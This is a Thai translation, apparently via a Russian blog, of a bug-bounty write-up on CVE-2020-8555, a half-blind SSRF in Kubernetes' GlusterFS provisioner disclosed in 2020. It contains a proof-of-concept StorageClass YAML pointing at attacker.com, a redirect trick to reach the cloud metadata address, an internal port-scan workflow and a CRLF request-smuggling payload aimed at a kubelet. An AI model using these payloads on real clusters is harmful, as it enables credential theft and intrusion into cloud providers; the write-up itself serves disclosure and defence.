🥇เมื่อไม่ใช่แค่เรื่องช่องโหว่ใน Kubernetes...

บันทึก. แปล: ผู้เขียนบทความนี้พูดคุยโดยละเอียดเกี่ยวกับวิธีการจัดการเพื่อค้นหาช่องโหว่ CVE-2020–8555 ในคูเบอร์เนเตส แม้ว่าในตอนแรกจะดูไม่อันตรายมากนัก แต่เมื่อรวมกับปัจจัยอื่นๆ พบว่าความวิกฤตกลายเป็นระดับสูงสุดสำหรับผู้ให้บริการคลาวด์บางราย หลายองค์กรให้รางวัลแก่ผู้เชี่ยวชาญสำหรับงานของพวกเขาอย่างไม่เห็นแก่ตัว

พวกเราคือใคร

เราคือนักวิจัยด้านความปลอดภัยชาวฝรั่งเศสสองคนที่ร่วมกันค้นพบช่องโหว่ใน Kubernetes ชื่อของเราคือ Brice Augras และ Christophe Hauquiert แต่บนแพลตฟอร์ม Bug Bounty หลายแพลตฟอร์ม เรารู้จักกันในชื่อ Reeverzax และ Hach ตามลำดับ:

บริซ ออกราส - บริษัท กรุ๊ป แอสเทน;
คริสตอฟ ฮาวเคียร์ต - สถาปนิก Kubernetes ที่ Nokia

เกิดอะไรขึ้น?

บทความนี้เป็นวิธีการแบ่งปันว่าโครงการวิจัยธรรมดาๆ กลายเป็นการผจญภัยที่น่าตื่นเต้นที่สุดในชีวิตของนักล่าแมลงอย่างไม่คาดคิดได้อย่างไร (อย่างน้อยก็ในตอนนี้)

ดังที่คุณคงทราบแล้วว่านักล่าแมลงมีคุณสมบัติเด่นสองสามประการ:

พวกเขากินพิซซ่าและเบียร์
พวกเขาทำงานในขณะที่คนอื่นหลับ

เราไม่มีข้อยกเว้นสำหรับกฎเหล่านี้: เรามักจะพบกันในวันหยุดสุดสัปดาห์และใช้เวลาทั้งคืนนอนไม่หลับแฮ็ค แต่คืนหนึ่งจบลงด้วยวิธีที่ไม่ปกติมาก

ในตอนแรกเราจะไปพบกันเพื่อหารือเกี่ยวกับการเข้าร่วม CTF วันถัดไป. ในระหว่างการสนทนาเกี่ยวกับความปลอดภัยของ Kubernetes ในสภาพแวดล้อมบริการที่มีการจัดการ เราจำแนวคิดเก่าของ SSRF ได้ (การปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์) และตัดสินใจลองใช้มันเป็นสคริปต์โจมตี

เวลา 11 น. เรานั่งลงเพื่อทำวิจัยและเข้านอนแต่เช้าตรู่ พอใจกับผลลัพธ์มาก เป็นเพราะการวิจัยนี้ เราจึงได้พบกับโปรแกรม MSRC Bug Bounty และเกิดประโยชน์จากการเพิ่มระดับสิทธิพิเศษ

ผ่านไปหลายสัปดาห์/เดือน และผลลัพธ์ที่ไม่คาดคิดของเราส่งผลให้หนึ่งในรางวัลสูงสุดในประวัติศาสตร์ของ Azure Cloud Bug Bounty นอกเหนือจากรางวัลที่เราได้รับจาก Kubernetes!

จากโครงการวิจัยของเรา คณะกรรมการความปลอดภัยผลิตภัณฑ์ Kubernetes ได้เผยแพร่ CVE-2020–8555.

ตอนนี้ฉันต้องการเผยแพร่ข้อมูลเกี่ยวกับช่องโหว่ที่พบให้มากที่สุด เราหวังว่าคุณจะพอใจกับการค้นหาและแบ่งปันรายละเอียดทางเทคนิคกับสมาชิกคนอื่นๆ ของชุมชน infosec!

นี่คือเรื่องราวของเรา...

สิ่งแวดล้อม

เพื่อให้เข้าใจถึงสิ่งที่เกิดขึ้นได้มากที่สุด ก่อนอื่นเรามาดูกันว่า Kubernetes ทำงานอย่างไรในสภาพแวดล้อมที่มีการจัดการบนคลาวด์

เมื่อคุณสร้างอินสแตนซ์คลัสเตอร์ Kubernetes ในสภาพแวดล้อมดังกล่าว โดยทั่วไปเลเยอร์การจัดการจะเป็นความรับผิดชอบของผู้ให้บริการระบบคลาวด์:

เลเยอร์ควบคุมอยู่ที่ขอบเขตของผู้ให้บริการระบบคลาวด์ ในขณะที่โหนด Kubernetes อยู่ที่ขอบเขตของลูกค้า

ในการจัดสรรไดรฟ์ข้อมูลแบบไดนามิก กลไกจะถูกนำมาใช้เพื่อจัดเตรียมไดรฟ์ข้อมูลแบบไดนามิกจากแบ็กเอนด์ที่จัดเก็บข้อมูลภายนอก และเปรียบเทียบกับ PVC (การอ้างสิทธิ์ไดรฟ์ข้อมูลแบบถาวร เช่น คำขอสำหรับไดรฟ์ข้อมูล)

ดังนั้น หลังจากที่ PVC ถูกสร้างขึ้นและเชื่อมโยงกับ StorageClass ในคลัสเตอร์ K8s แล้ว การดำเนินการเพิ่มเติมเพื่อจัดเตรียมไดรฟ์ข้อมูลจะถูกควบคุมโดยผู้จัดการตัวควบคุม kube/คลาวด์ (ชื่อที่แน่นอนขึ้นอยู่กับรุ่น) (บันทึก. แปล: เราได้เขียนเพิ่มเติมเกี่ยวกับ CCM แล้วโดยใช้ตัวอย่างการใช้งานกับผู้ให้บริการคลาวด์รายใดรายหนึ่ง ที่นี่.)

มีตัวจัดเตรียมหลายประเภทที่ Kubernetes รองรับ โดยส่วนใหญ่รวมอยู่ในนั้นด้วย แกนออเคสตราในขณะที่ส่วนอื่นๆ ได้รับการจัดการโดยตัวจัดเตรียมเพิ่มเติมที่วางอยู่ในพ็อดในคลัสเตอร์

ในการวิจัยของเรา เรามุ่งเน้นไปที่กลไกการจัดสรรวอลุ่มภายใน ซึ่งมีภาพประกอบด้านล่าง:

การจัดเตรียมไดรฟ์ข้อมูลแบบไดนามิกโดยใช้ตัวจัดสรร Kubernetes ในตัว

กล่าวโดยสรุป เมื่อใช้งาน Kubernetes ในสภาพแวดล้อมที่มีการจัดการ ผู้จัดการคอนโทรลเลอร์จะเป็นผู้รับผิดชอบของผู้ให้บริการคลาวด์ แต่คำขอสร้างโวลุ่ม (หมายเลข 3 ในแผนภาพด้านบน) จะออกจากเครือข่ายภายในของผู้ให้บริการคลาวด์ และนี่คือจุดที่น่าสนใจจริงๆ!

สถานการณ์การแฮ็ก

ในส่วนนี้ เราจะอธิบายว่าเราใช้ประโยชน์จากเวิร์กโฟลว์ที่กล่าวถึงข้างต้นและเข้าถึงทรัพยากรภายในของผู้ให้บริการระบบคลาวด์ได้อย่างไร นอกจากนี้ยังจะแสดงให้คุณเห็นว่าคุณสามารถดำเนินการบางอย่างได้อย่างไร เช่น การได้รับข้อมูลประจำตัวภายในหรือการเพิ่มสิทธิ์

การจัดการง่ายๆ อย่างหนึ่ง (ในกรณีนี้ การปลอมแปลงคำขอฝั่งบริการ) ช่วยให้ก้าวไปไกลกว่าสภาพแวดล้อมไคลเอ็นต์ไปยังคลัสเตอร์ของผู้ให้บริการต่างๆ ภายใต้ K8 ที่ได้รับการจัดการ

ในการวิจัยของเรา เรามุ่งเน้นไปที่ตัวจัดเตรียม GlusterFS แม้ว่าจะมีการอธิบายลำดับการดำเนินการเพิ่มเติมในบริบทนี้ แต่ Quobyte, StorageOS และ ScaleIO ก็มีความเสี่ยงต่อช่องโหว่เดียวกัน

การใช้กลไกการจัดสรรไดนามิกวอลุ่มในทางที่ผิด

ระหว่างการวิเคราะห์คลาสหน่วยเก็บข้อมูล กลัสเตอร์เอฟเอส ในซอร์สโค้ดไคลเอนต์ Golang เรา สังเกตเห็นซึ่งในคำขอ HTTP แรก (3) ที่ส่งระหว่างการสร้างโวลุ่ม ไปยังส่วนท้ายของ URL ที่กำหนดเองในพารามิเตอร์ resturl ถูกเพิ่ม /volumes.

เราตัดสินใจกำจัดเส้นทางเพิ่มเติมนี้โดยการเพิ่ม # ในพารามิเตอร์ resturl. นี่คือการกำหนดค่า YAML แรกที่เราใช้ทดสอบช่องโหว่ SSRF แบบกึ่งตาบอด (คุณสามารถอ่านเพิ่มเติมเกี่ยวกับ SSRF แบบกึ่งตาบอดหรือแบบกึ่งตาบอดได้ เช่น ที่นี่ - ประมาณ แปล.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

จากนั้นเราใช้ไบนารี่เพื่อจัดการคลัสเตอร์ Kubernetes จากระยะไกล Kubectl. โดยทั่วไปแล้ว ผู้ให้บริการคลาวด์ (Azure, Google, AWS ฯลฯ) อนุญาตให้คุณรับข้อมูลรับรองเพื่อใช้ในยูทิลิตี้นี้

ด้วยเหตุนี้ ฉันจึงสามารถใช้ไฟล์ "พิเศษ" ของฉันได้ Kube-controller-manager ดำเนินการตามคำขอ HTTP ที่เป็นผลลัพธ์:

kubectl create -f sc-poc.yaml

คำตอบจากมุมมองของผู้โจมตี

หลังจากนั้นไม่นาน เรายังสามารถรับการตอบกลับ HTTP จากเซิร์ฟเวอร์เป้าหมายได้ผ่านทางคำสั่งอีกด้วย describe pvc หรือ get events ในคิวเบคเทิล และแน่นอน: ไดรเวอร์ Kubernetes เริ่มต้นนี้มีรายละเอียดมากเกินไปในคำเตือน / ข้อความแสดงข้อผิดพลาด ...

นี่คือตัวอย่างพร้อมลิงก์ไปยัง https://www.google.frตั้งเป็นพารามิเตอร์ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ในแนวทางนี้ เราถูกจำกัดไว้เพียงการสืบค้นเช่น โพสต์ HTTP และไม่สามารถรับเนื้อหาของเนื้อหาการตอบกลับได้หากรหัสส่งคืนเป็น 201. ดังนั้นเราจึงตัดสินใจที่จะดำเนินการวิจัยเพิ่มเติมและขยายสถานการณ์การแฮ็กนี้ด้วยแนวทางใหม่

วิวัฒนาการของการวิจัยของเรา

สถานการณ์ขั้นสูง #1: การใช้การเปลี่ยนเส้นทาง 302 จากเซิร์ฟเวอร์ภายนอกเพื่อเปลี่ยนวิธี HTTP เพื่อให้มีวิธีที่ยืดหยุ่นมากขึ้นในการรวบรวมข้อมูลภายใน
สถานการณ์ขั้นสูง #2: ทำการสแกน LAN และการค้นหาทรัพยากรภายในโดยอัตโนมัติ
สถานการณ์ขั้นสูง #3: การใช้ HTTP CRLF + การลักลอบขน (“การร้องขอการลักลอบขน”) เพื่อสร้างคำขอ HTTP ที่ปรับแต่งและดึงข้อมูลที่แยกจากบันทึกของตัวควบคุม kube

ข้อกำหนดทางเทคนิค

การวิจัยใช้ Azure Kubernetes Service (AKS) กับ Kubernetes เวอร์ชัน 1.12 ในภูมิภาคยุโรปเหนือ
สถานการณ์ที่อธิบายไว้ข้างต้นได้รับการดำเนินการบน Kubernetes รุ่นล่าสุด ยกเว้นสถานการณ์ที่สาม เนื่องจาก เขาต้องการ Kubernetes ที่สร้างด้วย Golang เวอร์ชัน ≤ 1.12
เซิร์ฟเวอร์ภายนอกของผู้โจมตี - https://attacker.com.

สถานการณ์ขั้นสูง #1: การเปลี่ยนเส้นทางคำขอ HTTP POST ไปยัง GET และรับข้อมูลที่ละเอียดอ่อน

วิธีการดั้งเดิมได้รับการปรับปรุงโดยการกำหนดค่าเซิร์ฟเวอร์ของผู้โจมตีเพื่อส่งคืน 302 HTTP Retcodeเพื่อแปลงคำขอ POST เป็นคำขอ GET (ขั้นตอนที่ 4 ในแผนภาพ):

คำขอแรก (3) มาจากลูกค้า กลัสเตอร์เอฟเอส (Controller Manager) มีแบบ POST ด้วยการทำตามขั้นตอนเหล่านี้ เราก็สามารถเปลี่ยนให้เป็น GET ได้:

เป็นพารามิเตอร์ resturl ใน StorageClass จะถูกระบุ http://attacker.com/redirect.php.
ปลายทาง https://attacker.com/redirect.php ตอบสนองด้วยรหัสสถานะ HTTP 302 พร้อมส่วนหัวตำแหน่งต่อไปนี้: http://169.254.169.254. นี่อาจเป็นทรัพยากรภายในอื่นๆ - ในกรณีนี้ ลิงก์การเปลี่ยนเส้นทางจะใช้เป็นตัวอย่างเท่านั้น
Поумолчанию ไลบรารี net/http Golang เปลี่ยนเส้นทางคำขอและแปลง POST เป็น GET ด้วยรหัสสถานะ 302 ส่งผลให้เกิดคำขอ HTTP GET ไปยังทรัพยากรเป้าหมาย

หากต้องการอ่านเนื้อหาการตอบสนอง HTTP คุณต้องทำ describe วัตถุพีวีซี:

kubectl describe pvc xxx

นี่คือตัวอย่างการตอบสนอง HTTP ในรูปแบบ JSON ที่เราสามารถรับได้:

ความสามารถของช่องโหว่ที่พบในขณะนั้นถูกจำกัดเนื่องจากประเด็นต่อไปนี้:

ไม่สามารถแทรกส่วนหัว HTTP ลงในคำขอขาออก
ไม่สามารถดำเนินการร้องขอ POST ด้วยพารามิเตอร์ในร่างกายได้ (สะดวกในการขอค่าคีย์จากอินสแตนซ์ ฯลฯ ที่ทำงานอยู่ 2379 พอร์ตหากใช้ HTTP ที่ไม่ได้เข้ารหัส)
ไม่สามารถดึงเนื้อหาเนื้อหาการตอบสนองเมื่อรหัสสถานะคือ 200 และการตอบกลับไม่มีประเภทเนื้อหา JSON

สถานการณ์ขั้นสูง #2: การสแกนเครือข่ายท้องถิ่น

จากนั้นจึงใช้วิธี half-blind SSRF เพื่อสแกนเครือข่ายภายในของผู้ให้บริการคลาวด์และสำรวจบริการการฟังต่างๆ (อินสแตนซ์ข้อมูลเมตา, Kubelet ฯลฯ ) ตามการตอบสนอง ตัวควบคุมคิวบ์.

ขั้นแรก กำหนดพอร์ตการฟังมาตรฐานของส่วนประกอบ Kubernetes (8443, 10250, 10251 ฯลฯ) จากนั้นเราก็ต้องทำให้กระบวนการสแกนเป็นแบบอัตโนมัติ

เมื่อเห็นว่าวิธีการสแกนทรัพยากรนี้มีความเฉพาะเจาะจงมากและเข้ากันไม่ได้กับสแกนเนอร์แบบคลาสสิกและเครื่องมือ SSRF เราจึงตัดสินใจสร้างตัวทำงานของเราเองในสคริปต์ทุบตีที่ทำให้กระบวนการทั้งหมดเป็นแบบอัตโนมัติ

ตัวอย่างเช่น เพื่อสแกนช่วง 172.16.0.0/12 ของเครือข่ายภายในอย่างรวดเร็ว จึงมีการเปิดใช้งานคนงาน 15 คนพร้อมกัน ช่วง IP ข้างต้นถูกเลือกไว้เป็นตัวอย่างเท่านั้น และอาจมีการเปลี่ยนแปลงช่วง IP ของผู้ให้บริการเฉพาะของคุณได้

หากต้องการสแกนหนึ่งที่อยู่ IP และหนึ่งพอร์ต คุณต้องดำเนินการดังต่อไปนี้:

ลบ StorageClass ที่เลือกล่าสุด
ลบการอ้างสิทธิ์ Persistent Volume ที่ได้รับการตรวจสอบก่อนหน้านี้
เปลี่ยนค่า IP และพอร์ตใน sc.yaml;
สร้าง StorageClass ด้วย IP และพอร์ตใหม่
สร้างพีวีซีใหม่
แยกผลการสแกนโดยใช้คำอธิบายสำหรับ PVC

สถานการณ์ขั้นสูง #3: การแทรก CRLF + การลักลอบใช้ HTTP ในคลัสเตอร์ Kubernetes เวอร์ชัน “เก่า”

หากนอกเหนือจากนี้ ผู้ให้บริการยังเสนอคลัสเตอร์ K8 เวอร์ชันเก่าให้กับลูกค้าอีกด้วย и ทำให้พวกเขาสามารถเข้าถึงบันทึกของ kube-controller-manager ได้ ผลลัพธ์ที่ได้ก็มีความสำคัญมากยิ่งขึ้น

ผู้โจมตีจะสะดวกกว่ามากในการเปลี่ยนคำขอ HTTP ที่ออกแบบมาเพื่อรับการตอบสนอง HTTP แบบเต็มตามดุลยพินิจของเขา

หากต้องการใช้สถานการณ์สมมติสุดท้าย จะต้องตรงตามเงื่อนไขต่อไปนี้:

ผู้ใช้ต้องมีสิทธิ์เข้าถึงบันทึก kube-controller-manager (เช่น ใน Azure LogInsights)
คลัสเตอร์ Kubernetes ต้องใช้ Golang เวอร์ชันต่ำกว่า 1.12

เราปรับใช้สภาพแวดล้อมท้องถิ่นที่จำลองการสื่อสารระหว่างไคลเอนต์ GlusterFS Go และเซิร์ฟเวอร์เป้าหมายปลอม (เราจะงดเผยแพร่ PoC ในตอนนี้)

ถูกพบ จุดอ่อนส่งผลกระทบต่อ Golang เวอร์ชันต่ำกว่า 1.12 และอนุญาตให้แฮกเกอร์ดำเนินการโจมตี HTTP การลักลอบขนของ/CRLF

โดยการรวม SSRF แบบ half-blind ที่อธิบายไว้ข้างต้น ร่วมกัน ด้วยเหตุนี้ เราจึงสามารถส่งคำขอได้ตามต้องการ รวมถึงการแทนที่ส่วนหัว วิธี HTTP พารามิเตอร์ และข้อมูล ซึ่ง kube-controller-manager จะประมวลผลแล้ว

นี่คือตัวอย่างการทำงานของ "เหยื่อ" ในพารามิเตอร์ resturl StorageClass ซึ่งใช้สถานการณ์การโจมตีที่คล้ายกัน:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ผลลัพธ์ที่ได้คือข้อผิดพลาด การตอบสนองที่ไม่พึงประสงค์ซึ่งเป็นข้อความที่บันทึกไว้ในบันทึกของตัวควบคุม ขอบคุณที่เปิดใช้งานการใช้คำฟุ่มเฟือยตามค่าเริ่มต้น เนื้อหาของข้อความตอบกลับ HTTP จะถูกบันทึกไว้ที่นั่นด้วย

นี่คือ "เหยื่อ" ที่มีประสิทธิภาพที่สุดของเราภายใต้กรอบการพิสูจน์แนวคิด

เมื่อใช้วิธีการนี้ เราสามารถดำเนินการโจมตีบางส่วนต่อไปนี้กับคลัสเตอร์ของผู้ให้บริการ k8s ที่ได้รับการจัดการต่างๆ: การเพิ่มสิทธิ์ด้วยข้อมูลรับรองบนอินสแตนซ์ข้อมูลเมตา, Master DoS ผ่านคำขอ HTTP (ไม่ได้เข้ารหัส) บนอินสแตนซ์หลัก ฯลฯ

ผลพวง

ในแถลงการณ์อย่างเป็นทางการของ Kubernetes เกี่ยวกับช่องโหว่ SSRF ที่เราค้นพบ พบว่าได้รับการจัดอันดับ ซีวีเอสเอส 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. หากเราพิจารณาเฉพาะช่องโหว่ที่เกี่ยวข้องกับขอบเขต Kubernetes ก็จะเป็นเวกเตอร์ความสมบูรณ์ (เวกเตอร์ความสมบูรณ์) มันมีคุณสมบัติเป็น ไม่มี.

อย่างไรก็ตาม การประเมินผลกระทบที่อาจเกิดขึ้นในบริบทของสภาพแวดล้อมการบริการที่ได้รับการจัดการ (และนี่คือส่วนที่น่าสนใจที่สุดในการวิจัยของเรา!) ทำให้เราจัดประเภทช่องโหว่ใหม่เป็นการจัดอันดับ วิกฤติ CVSS10/10 สำหรับตัวแทนจำหน่ายจำนวนมาก

ด้านล่างนี้เป็นข้อมูลเพิ่มเติมที่จะช่วยให้คุณเข้าใจข้อควรพิจารณาของเราเมื่อประเมินผลกระทบที่อาจเกิดขึ้นในสภาพแวดล้อมคลาวด์:

ความสมบูรณ์

ดำเนินการคำสั่งจากระยะไกลโดยใช้ข้อมูลรับรองภายในที่ได้รับ
การจำลองสถานการณ์ข้างต้นโดยใช้วิธี IDOR (Insecure Direct Object Reference) กับทรัพยากรอื่นๆ ที่พบในเครือข่ายท้องถิ่น

การรักษาความลับ

ประเภทการโจมตี การเคลื่อนไหวด้านข้าง เนื่องจากการขโมยข้อมูลรับรองระบบคลาวด์ (เช่น Metadata API)
การรวบรวมข้อมูลโดยการสแกนเครือข่ายท้องถิ่น (การกำหนดเวอร์ชัน SSH, เวอร์ชันเซิร์ฟเวอร์ HTTP, ... )
รวบรวมข้อมูลอินสแตนซ์และโครงสร้างพื้นฐานโดยการสำรวจ API ภายใน เช่น API ข้อมูลเมตา (http://169.254.169.254, …)
การขโมยข้อมูลลูกค้าโดยใช้ข้อมูลรับรองระบบคลาวด์

ความพร้อมใช้งาน

สถานการณ์การหาประโยชน์ทั้งหมดที่เกี่ยวข้องกับเวกเตอร์การโจมตี ความซื่อสัตย์สามารถใช้สำหรับการดำเนินการทำลายล้างและทำให้อินสแตนซ์หลักจากขอบเขตไคลเอ็นต์ (หรืออื่นๆ) ไม่พร้อมใช้งาน

เนื่องจากเราอยู่ในสภาพแวดล้อม K8 ที่ได้รับการจัดการและประเมินผลกระทบต่อความสมบูรณ์ เราจึงสามารถจินตนาการสถานการณ์ต่างๆ มากมายที่อาจส่งผลกระทบต่อความพร้อมใช้งานได้ ตัวอย่างเพิ่มเติม ได้แก่ การทำให้ฐานข้อมูล ฯลฯ เสียหาย หรือการเรียกที่สำคัญไปยัง Kubernetes API

ลำดับเหตุการณ์

6 ธันวาคม 2019: รายงานช่องโหว่ไปยัง MSRC Bug Bounty
3 มกราคม 2020: บุคคลที่สามแจ้งนักพัฒนา Kubernetes ว่าเรากำลังแก้ไขปัญหาด้านความปลอดภัย และขอให้พวกเขาพิจารณาว่า SSRF เป็นช่องโหว่ภายใน (ในคอร์) จากนั้นเราได้จัดทำรายงานทั่วไปพร้อมรายละเอียดทางเทคนิคเกี่ยวกับสาเหตุของปัญหา
15 มกราคม 2020: เราจัดทำรายงานทางเทคนิคและรายงานทั่วไปแก่นักพัฒนา Kubernetes ตามคำขอ (ผ่านแพลตฟอร์ม HackerOne)
15 มกราคม 2020: นักพัฒนา Kubernetes แจ้งให้เราทราบว่าการแทรก SSRF + CRLF แบบ half-blind สำหรับรุ่นที่ผ่านมาถือเป็นช่องโหว่ในคอร์ เราหยุดการวิเคราะห์ขอบเขตของผู้ให้บริการรายอื่นทันที: ขณะนี้ทีม K8 กำลังจัดการกับสาเหตุที่แท้จริง
15 มกราคม 2020: รางวัล MSRC ที่ได้รับจาก HackerOne
16 มกราคม 2020: Kubernetes PSC (คณะกรรมการรักษาความปลอดภัยผลิตภัณฑ์) ตระหนักถึงช่องโหว่นี้และขอให้เก็บเป็นความลับจนถึงกลางเดือนมีนาคม เนื่องจากมีผู้ที่อาจเป็นเหยื่อจำนวนมาก
11 กุมภาพันธ์ 2020: ได้รับรางวัล Google VRP
4 มีนาคม 2020: รางวัล Kubernetes ที่ได้รับจาก HackerOne
15 มีนาคม 2020: การเปิดเผยต่อสาธารณะตามกำหนดเดิมถูกเลื่อนออกไปเนื่องจากสถานการณ์โควิด-19
1 มิถุนายน 2020: คำแถลงร่วมของ Kubernetes + Microsoft เกี่ยวกับช่องโหว่

TL; DR

เราดื่มเบียร์และกินพิซซ่า :)
เราค้นพบช่องโหว่ภายในระบบใน Kubernetes แม้ว่าเราจะไม่ได้ตั้งใจที่จะทำเช่นนั้นก็ตาม
เราทำการวิเคราะห์เพิ่มเติมเกี่ยวกับคลัสเตอร์ของผู้ให้บริการคลาวด์ต่างๆ และสามารถเพิ่มความเสียหายที่เกิดจากช่องโหว่เพื่อรับโบนัสที่ยอดเยี่ยมเพิ่มเติม
คุณจะพบรายละเอียดทางเทคนิคมากมายในบทความนี้ เรายินดีที่จะพูดคุยกับคุณ (Twitter: @รีเวอร์แซ็กซ์ & @__ฮาช_).
ปรากฎว่าพิธีการและการรายงานทุกประเภทใช้เวลานานกว่าที่คาดไว้มาก

การอ้างอิง

ปล.จากผู้แปล

อ่านเพิ่มเติมในบล็อกของเรา:

ที่มา: will.com

เมื่อมันไม่ได้เกี่ยวกับช่องโหว่ของ Kubernetes เท่านั้น...